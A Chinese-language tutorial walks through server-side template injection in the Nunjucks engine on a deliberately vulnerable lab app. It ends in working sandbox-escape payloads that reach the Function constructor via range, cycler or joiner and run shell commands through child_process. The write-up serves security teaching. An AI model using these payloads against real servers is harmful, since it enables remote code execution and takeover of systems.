Nunjucks SSTI学习
序言
服务端模板注入(SSTI)是 Web 安全中高频且高危的漏洞类型,不同于前端 XSS 漏洞,SSTI 漏洞直接触发于服务端,一旦被成功利用,攻击者可实现服务器命令执行、文件读写、权限接管等高危操作,危害程度极高。而 Nunjucks 沙箱逃逸之所以成为安全研究的经典知识点,核心原因在于:它并非单一 Bug 导致的漏洞,而是模板引擎沙箱设计缺陷与 JavaScript 底层语言特性共同导致的结构性安全问题。
Nunjucks 是一款由 Mozilla 团队开发、基于 JavaScript 实现的现代化、功能完备的模板引擎,语法高度对标 Python 生态知名的 Jinja2 模板引擎,兼顾简洁性与强大扩展性,是目前 Node.js 技术栈中最主流的模板引擎之一
它是一款跨端模板引擎,同时支持 Node.js 服务端渲染 和 浏览器客户端渲染
Nunjucks 模板基础语法
识别 Nunjucks 模板渲染标签,这是判断 SSTI 漏洞的核心依据:
{{ 表达式 }}:执行变量输出、数学运算、对象读取、函数执行,是注入利用的核心标签;
{{% 逻辑语句 %}}:用于循环、判断等逻辑操作,辅助拓展利用方式
漏洞靶场地址
https://github.com/xiaoqiesec0x1/nunjucks_ssti_env
漏洞复现过程


在个人设置可以看到,有一个个性签名,并且这个个性签名保存预览之后,会直接渲染到个人资料页面
并且有个sign参数接收我们用户输入的值,直接渲染到页面当中,那么这里,可以思考是否存在模板注入呢?

当我们输入{{}},进行探测的时候,发现页面报错了,并且提示渲染异常,同时返回包中可以发现
X-Powered-By: Express
这个是nodejs环境的express框架,那么这里猜测使用了nunjucks模板引擎
继续输入payload探测是否存在SSTI漏洞
{{7*7}}

发现这里后端直接计算了,确认了这个漏洞的存在
因此,我们尝试直接使用高危全局函数执行任意命令
{{ process.mainModule.require("child_process").execSync("id") }}

发现报错了,这是由于nunjucks存在沙箱环境,并且里面没有定义process函数
沙箱逃逸到RCE
Nunjucks模板引擎是有沙箱的,我们需要进行沙箱逃逸,执行任意命令
在 sandbox: true 模式下,模板内直接访问 Node.js 高危全局对象会直接报错、被拦截
我们如果想进行沙箱逃逸进行代码执行,我们最重要的就是使用沙箱内有的函数进行逃逸,经查阅 Nunjucks 的官方文档可知,Nunjucks 模板引擎中有定义了三个全局函数:range、cycler 和 joiner
而这三个函数,就是整个沙箱逃逸的唯一突破口
接下来我们需要,寻找原型链 / 构造函数逃逸入口。整个逃逸的根基,全部来自 JavaScript 原生特性
JS 核心特性:所有函数都有 constructor 属性
在 JS 中:任何普通函数的构造器,全部指向原生顶级 Function 对象
range.constructor === Function
cycler.constructor === Function
joiner.constructor === Function
也就是说:我们可以通过沙箱允许的白名单函数,间接拿到原生 Function 构造器
然而,原生 Function 可以执行任意代码
JS 原生的 Function() 构造器,是最高权限的代码执行器,语法
Function("JS代码字符串")()
这样,我们就可以执行任意node.js代码
完全脱离了Nunjucks模板沙箱,不受沙箱控制了
因此构造出的payload
{{ range.constructor('return global.process.mainModule.require("child_process").execSync("id")')() }}
尝试注入,进行执行

最后,经过验证发现,沙箱内的三个全局函数,都可以实现逃逸操作
{{ cycler.constructor('return global.process.mainModule.require("child_process").execSync("id")')() }}
{{ joiner.constructor('return global.process.mainModule.require("child_process").execSync("id")')() }}
{{ range.constructor('return global.process.mainModule.require("child_process").execSync("id")')() }}
最终实现完全rce